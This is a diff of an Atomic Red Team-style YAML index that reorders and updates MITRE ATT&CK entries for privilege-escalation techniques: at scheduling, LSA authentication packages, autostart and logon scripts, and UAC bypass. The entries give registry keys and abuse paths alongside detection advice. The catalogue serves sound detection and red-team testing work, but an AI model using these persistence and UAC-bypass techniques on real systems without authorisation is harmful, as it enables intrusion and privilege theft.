+      - source_name: ENSIL AtomBombing Oct 2016
+        description: 'Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE
+          INJECTION FOR WINDOWS. Retrieved December 8, 2017.'
+        url: https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows
+      - source_name: Microsoft Atom Table
+        description: Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx
+      - source_name: Elastic Process Injection July 2017
+        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
+          A Technical Survey Of Common And Trending Process Injection Techniques.
+          Retrieved December 7, 2017.'
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
       identifier: T1055.004
     atomic_tests:
     - name: Process Injection via C#
@@ -11302,24 +11473,17 @@ privilege-escalation:
         name: command_prompt
   T1053.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1053.001
-        url: https://attack.mitre.org/techniques/T1053/001
-      - source_name: Kifarunix - Task Scheduling in Linux
-        url: https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/
-        description: Koromicha. (2019, September 7). Scheduling tasks using at command
-          in Linux. Retrieved December 3, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: At (Linux)
-      description: |-
-        Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)
-
-        An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.
-      id: attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e
       type: attack-pattern
+      name: At (Linux)
+      x_mitre_data_sources:
+      - 'Scheduled Job: Scheduled Job Creation'
+      - 'Command: Command Execution'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-10-15T14:36:26.063Z'
+      created: '2019-12-03T12:59:36.749Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
@@ -11327,27 +11491,48 @@ privilege-escalation:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-03-23T22:35:13.112Z'
-      created: '2019-12-03T12:59:36.749Z'
-      x_mitre_version: '1.0'
+      x_mitre_platforms:
+      - Linux
       x_mitre_is_subtechnique: true
+      id: attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e
+      description: |-
+        Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)
+
+        An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.
+
+        Adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)
       x_mitre_remote_support: true
       x_mitre_detection: "Monitor scheduled task creation using command-line invocation.
         Legitimate scheduled tasks may be created during installation of new software
         or through system administration functions. Look for changes to tasks that
-        do not correlate with known software, patch cycles, etc. \n\nSuspicious program
-        execution through scheduled tasks may show up as outlier processes that have
-        not been seen before when compared against historical data. Data and events
-        should not be viewed in isolation, but as part of a chain of behavior that
-        could lead to other activities, such as network connections made for Command
-        and Control, learning details about the environment through Discovery, and
-        Lateral Movement."
-      x_mitre_data_sources:
-      - 'Scheduled Job: Scheduled Job Creation'
-      - 'Command: Command Execution'
-      - 'Process: Process Creation'
-      x_mitre_platforms:
-      - Linux
+        do not correlate with known software, patch cycles, etc. \n\nReview all jobs
+        using the <code>atq</code> command and ensure IP addresses stored in the <code>SSH_CONNECTION</code>
+        and <code>SSH_CLIENT</code> variables, machines that created the jobs, are
+        trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are
+        stored in <code>/var/spool/cron/atjobs/</code>.(Citation: rowland linux at
+        2019)\n\nSuspicious program execution through scheduled tasks may show up
+        as outlier processes that have not been seen before when compared against
+        historical data. Data and events should not be viewed in isolation, but as
+        part of a chain of behavior that could lead to other activities, such as network
+        connections made for Command and Control, learning details about the environment
+        through Discovery, and Lateral Movement."
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1053/001
+        external_id: T1053.001
+        source_name: mitre-attack
+      - url: https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/
+        description: Koromicha. (2019, September 7). Scheduling tasks using at command
+          in Linux. Retrieved December 3, 2019.
+        source_name: Kifarunix - Task Scheduling in Linux
+      - url: https://gtfobins.github.io/gtfobins/at/
+        description: Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved
+          September 28, 2021.
+        source_name: GTFObins at
+      - url: https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/
+        description: Craig Rowland. (2019, July 25). Getting an Attacker IP Address
+          from a Malicious Linux At Job. Retrieved October 15, 2021.
+        source_name: rowland linux at 2019
       identifier: T1053.001
     atomic_tests:
     - name: At - Schedule a job
@@ -11397,34 +11582,31 @@ privilege-escalation:
 '
   T1053.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1053.002
-        url: https://attack.mitre.org/techniques/T1053/002
-      - url: https://twitter.com/leoloobeek/status/939248813465853953
-        description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
-          December 12, 2017.
-        source_name: Twitter Leoloobeek Scheduled Task
-      - url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
-        description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
-          settings. Retrieved December 12, 2017.
-        source_name: TechNet Forum Scheduled Task Operational Setting
-      - url: https://technet.microsoft.com/library/dd315590.aspx
-        description: Microsoft. (n.d.). General Task Registration. Retrieved December
-          12, 2017.
-        source_name: TechNet Scheduled Task Events
-      - source_name: Microsoft Scheduled Task Events Win10
-        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
-        description: Microsoft. (2017, May 28). Audit Other Object Access Events.
-          Retrieved June 27, 2019.
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: At (Windows)
+      x_mitre_data_sources:
+      - 'Scheduled Job: Scheduled Job Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.0'
+      modified: '2020-03-24T13:43:40.776Z'
+      created: '2019-11-27T13:52:45.853Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: execution
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      id: attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
       description: "Adversaries may abuse the <code>at.exe</code> utility to perform
         task scheduling for initial or recurring execution of malicious code. The
         [at](https://attack.mitre.org/software/S0110) utility exists as an executable
@@ -11437,27 +11619,7 @@ privilege-escalation:
         and or to run a process under the context of a specified account (such as
         SYSTEM).\n\nNote: The <code>at.exe</code> command line utility has been deprecated
         in current versions of Windows in favor of <code>schtasks</code>."
-      id: attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: execution
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2020-03-24T13:43:40.776Z'
-      created: '2019-11-27T13:52:45.853Z'
-      x_mitre_data_sources:
-      - 'Scheduled Job: Scheduled Job Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_remote_support: true
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: |-
         Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.
 
@@ -11473,8 +11635,31 @@ privilege-escalation:
         Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)
 
         Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1053/002
+        external_id: T1053.002
+        source_name: mitre-attack
+      - source_name: Twitter Leoloobeek Scheduled Task
+        description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
+          December 12, 2017.
+        url: https://twitter.com/leoloobeek/status/939248813465853953
+      - source_name: TechNet Forum Scheduled Task Operational Setting
+        description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
+          settings. Retrieved December 12, 2017.
+        url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
+      - source_name: TechNet Scheduled Task Events
+        description: Microsoft. (n.d.). General Task Registration. Retrieved December
+          12, 2017.
+        url: https://technet.microsoft.com/library/dd315590.aspx
+      - url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
+        description: Microsoft. (2017, May 28). Audit Other Object Access Events.
+          Retrieved June 27, 2019.
+        source_name: Microsoft Scheduled Task Events Win10
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
       identifier: T1053.002
     atomic_tests:
     - name: At.exe Scheduled task
@@ -11494,55 +11679,55 @@ privilege-escalation:
 '
   T1547.002:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Authentication Package
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Module: Module Load'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-03-25T15:11:25.821Z'
+      created: '2020-01-24T14:54:42.757Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec
       description: |-
         Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)
 
         Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\</code> with the key value of <code>"Authentication Packages"=&lt;target binary&gt;</code>. The binary will then be executed by the system when the authentication packages are loaded.
-      name: Authentication Package
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.002
-        url: https://attack.mitre.org/techniques/T1547/002
-      - url: https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
-        description: Microsoft. (n.d.). Authentication Packages. Retrieved March 1,
-          2017.
-        source_name: MSDN Authentication Packages
-      - url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
-        description: Graeber, M. (2014, October). Analysis of Malicious Security Support
-          Provider DLLs. Retrieved March 1, 2017.
-        source_name: Graeber 2014
-      - url: https://technet.microsoft.com/en-us/library/dn408187.aspx
-        description: Microsoft. (2013, July 31). Configuring Additional LSA Protection.
-          Retrieved June 24, 2015.
-        source_name: Microsoft Configure LSA
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-03-25T15:11:25.821Z'
-      created: '2020-01-24T14:54:42.757Z'
-      x_mitre_platforms:
-      - Windows
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Module: Module Load'
-      - 'Command: Command Execution'
       x_mitre_detection: 'Monitor the Registry for changes to the LSA Registry keys.
         Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012
         R2 may generate events when unsigned DLLs try to load into the LSA by setting
         the Registry key <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
         File Execution Options\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber
         2014) (Citation: Microsoft Configure LSA)'
-      x_mitre_permissions_required:
-      - Administrator
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/002
+        external_id: T1547.002
+        source_name: mitre-attack
+      - source_name: MSDN Authentication Packages
+        description: Microsoft. (n.d.). Authentication Packages. Retrieved March 1,
+          2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
+      - source_name: Graeber 2014
+        description: Graeber, M. (2014, October). Analysis of Malicious Security Support
+          Provider DLLs. Retrieved March 1, 2017.
+        url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
+      - source_name: Microsoft Configure LSA
+        description: Microsoft. (2013, July 31). Configuring Additional LSA Protection.
+          Retrieved June 24, 2015.
+        url: https://technet.microsoft.com/en-us/library/dn408187.aspx
       identifier: T1547.002
     atomic_tests:
     - name: Authentication Package
@@ -11565,57 +11750,43 @@ privilege-escalation:
         elevation_required: true
   T1547:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Boot or Logon Autostart Execution
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'Windows Registry: Windows Registry Key Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'File: File Modification'
+      - 'Command: Command Execution'
+      - 'Process: Process Creation'
+      - 'Module: Module Load'
+      - 'Kernel: Kernel Module Load'
+      - 'Driver: Driver Load'
+      - 'Process: OS API Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-10-19T04:03:47.056Z'
+      created: '2020-01-23T17:46:59.535Z'
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - root
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
       id: attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf
       description: |-
         Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)  These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.
 
         Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.
-      name: Boot or Logon Autostart Execution
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547
-        url: https://attack.mitre.org/techniques/T1547
-      - external_id: CAPEC-564
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/564.html
-      - url: http://msdn.microsoft.com/en-us/library/aa376977
-        description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November
-          12, 2014.
-        source_name: Microsoft Run Key
-      - url: https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
-        description: Microsoft. (n.d.). Authentication Packages. Retrieved March 1,
-          2017.
-        source_name: MSDN Authentication Packages
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx
-        description: Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.
-        source_name: Microsoft TimeProvider
-      - url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
-        description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence,
-          Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.'
-        source_name: Cylance Reg Persistence Sept 2013
-      - source_name: Linux Kernel Programming
-        url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf
-        description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel
-          Module Programming Guide. Retrieved April 6, 2018.
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2021-04-24T13:50:12.837Z'
-      created: '2020-01-23T17:46:59.535Z'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
       x_mitre_detection: "Monitor for additions or modifications of mechanisms that
         could be used to trigger autostart execution, such as relevant additions to
         the Registry. Look for changes that are not correlated with known updates,
@@ -11634,23 +11805,37 @@ privilege-escalation:
         Look for abnormal process behavior that may be due to a process loading a
         malicious DLL.\n\nMonitor for abnormal usage of utilities and command-line
         parameters involved in kernel modification or driver installation."
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - root
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.1'
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'Windows Registry: Windows Registry Key Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'File: File Modification'
-      - 'Command: Command Execution'
-      - 'Process: Process Creation'
-      - 'Module: Module Load'
-      - 'Kernel: Kernel Module Load'
-      - 'Driver: Driver Load'
-      - 'Process: OS API Execution'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547
+        external_id: T1547
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/564.html
+        external_id: CAPEC-564
+        source_name: capec
+      - source_name: Microsoft Run Key
+        description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November
+          12, 2014.
+        url: http://msdn.microsoft.com/en-us/library/aa376977
+      - source_name: MSDN Authentication Packages
+        description: Microsoft. (n.d.). Authentication Packages. Retrieved March 1,
+          2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
+      - source_name: Microsoft TimeProvider
+        description: Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx
+      - source_name: Cylance Reg Persistence Sept 2013
+        description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence,
+          Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.'
+        url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
+      - url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf
+        description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel
+          Module Programming Guide. Retrieved April 6, 2018.
+        source_name: Linux Kernel Programming
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
       identifier: T1547
     atomic_tests:
     - name: Add a driver
@@ -11672,9 +11857,26 @@ privilege-escalation:
         name: command_prompt
   T1037:
     technique:
-      id: attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Boot or Logon Initialization Scripts
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Creation'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Active Directory: Active Directory Object Modification'
+      - 'File: File Creation'
+      - 'File: File Modification'
+      x_mitre_version: '2.1'
+      modified: '2021-04-27T19:58:02.332Z'
+      created: '2017-05-31T21:30:38.910Z'
+      x_mitre_platforms:
+      - macOS
+      - Windows
+      - Linux
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334
       description: "Adversaries may use scripts automatically executed at boot or
         logon initialization to establish persistence. Initialization scripts can
         be used to perform administrative functions, which may often execute other
@@ -11685,99 +11887,51 @@ privilege-escalation:
         local credentials or an administrator account may be necessary. \n\nAn adversary
         may also be able to escalate their privileges since some boot or logon initialization
         scripts run with higher privileges."
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1037
-        url: https://attack.mitre.org/techniques/T1037
-      - external_id: CAPEC-564
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/564.html
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2021-04-27T19:58:02.332Z'
-      created: '2017-05-31T21:30:38.910Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - macOS
-      - Windows
-      - Linux
       x_mitre_detection: Monitor logon scripts for unusual access by abnormal users
         or at abnormal times. Look for files added or modified by unusual accounts
         outside of normal administration duties. Monitor running process for actions
         that could be indicative of abnormal programs or executables running upon
         logon.
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Creation'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Active Directory: Active Directory Object Modification'
-      - 'File: File Creation'
-      - 'File: File Modification'
-      x_mitre_version: '2.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1037
+        external_id: T1037
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/564.html
+        external_id: CAPEC-564
+        source_name: capec
     atomic_tests: []
   T1548.002:
     technique:
-      created: '2020-01-30T14:24:34.977Z'
+      type: attack-pattern
       modified: '2020-07-22T21:36:52.458Z'
+      name: Bypass User Account Control
+      x_mitre_data_sources:
+      - 'Process: Process Metadata'
+      - 'Process: Process Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Command: Command Execution'
+      x_mitre_version: '2.0'
+      created: '2020-01-30T14:24:34.977Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1548.002
-        url: https://attack.mitre.org/techniques/T1548/002
-      - url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works
-        description: Lich, B. (2016, May 31). How User Account Control Works. Retrieved
-          June 3, 2016.
-        source_name: TechNet How UAC Works
-      - url: https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx
-        description: 'Russinovich, M. (2009, July). User Account Control: Inside Windows
-          7 User Account Control. Retrieved July 26, 2016.'
-        source_name: TechNet Inside UAC
-      - url: https://msdn.microsoft.com/en-us/library/ms679687.aspx
-        description: Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July
-          26, 2016.
-        source_name: MSDN COM Elevation
-      - url: http://www.pretentiousname.com/misc/win7_uac_whitelist2.html
-        description: Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November
-          12, 2014.
-        source_name: Davidson Windows
-      - url: https://github.com/hfiref0x/UACME
-        description: UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.
-        source_name: Github UACMe
-      - url: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
-        description: Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe
-          and Registry Hijacking. Retrieved December 27, 2016.
-        source_name: enigma0x3 Fileless UAC Bypass
-      - url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware
-        description: Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses
-          UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.
-        source_name: Fortinet Fareit
-      - url: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass
-        description: Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June
-          3, 2016.
-        source_name: SANS UAC Bypass
-      - url: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
-        description: Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved
-          May 25, 2017.
-        source_name: enigma0x3 sdclt app paths
-      - url: https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
-        description: Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe.
-          Retrieved May 25, 2017.
-        source_name: enigma0x3 sdclt bypass
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Bypass User Account Control
+      id: attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073
+      x_mitre_defense_bypassed:
+      - Windows User Account Control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - User
       description: |-
         Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)
 
@@ -11788,16 +11942,13 @@ privilege-escalation:
         * <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)
 
         Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)
-      id: attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073
-      x_mitre_defense_bypassed:
-      - Windows User Account Control
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: true
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      x_mitre_contributors:
+      - Stefan Kanthak
+      - Casey Smith
       x_mitre_effective_permissions:
       - Administrator
-      x_mitre_permissions_required:
-      - Administrator
-      - User
       x_mitre_detection: |-
         There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.
 
@@ -11808,16 +11959,50 @@ privilege-escalation:
         * The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe</code> and <code>[HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand</code> Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)
 
         Analysts should monitor these Registry settings for unauthorized changes.
-      x_mitre_data_sources:
-      - 'Process: Process Metadata'
-      - 'Process: Process Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Command: Command Execution'
-      x_mitre_contributors:
-      - Stefan Kanthak
-      - Casey Smith
-      x_mitre_platforms:
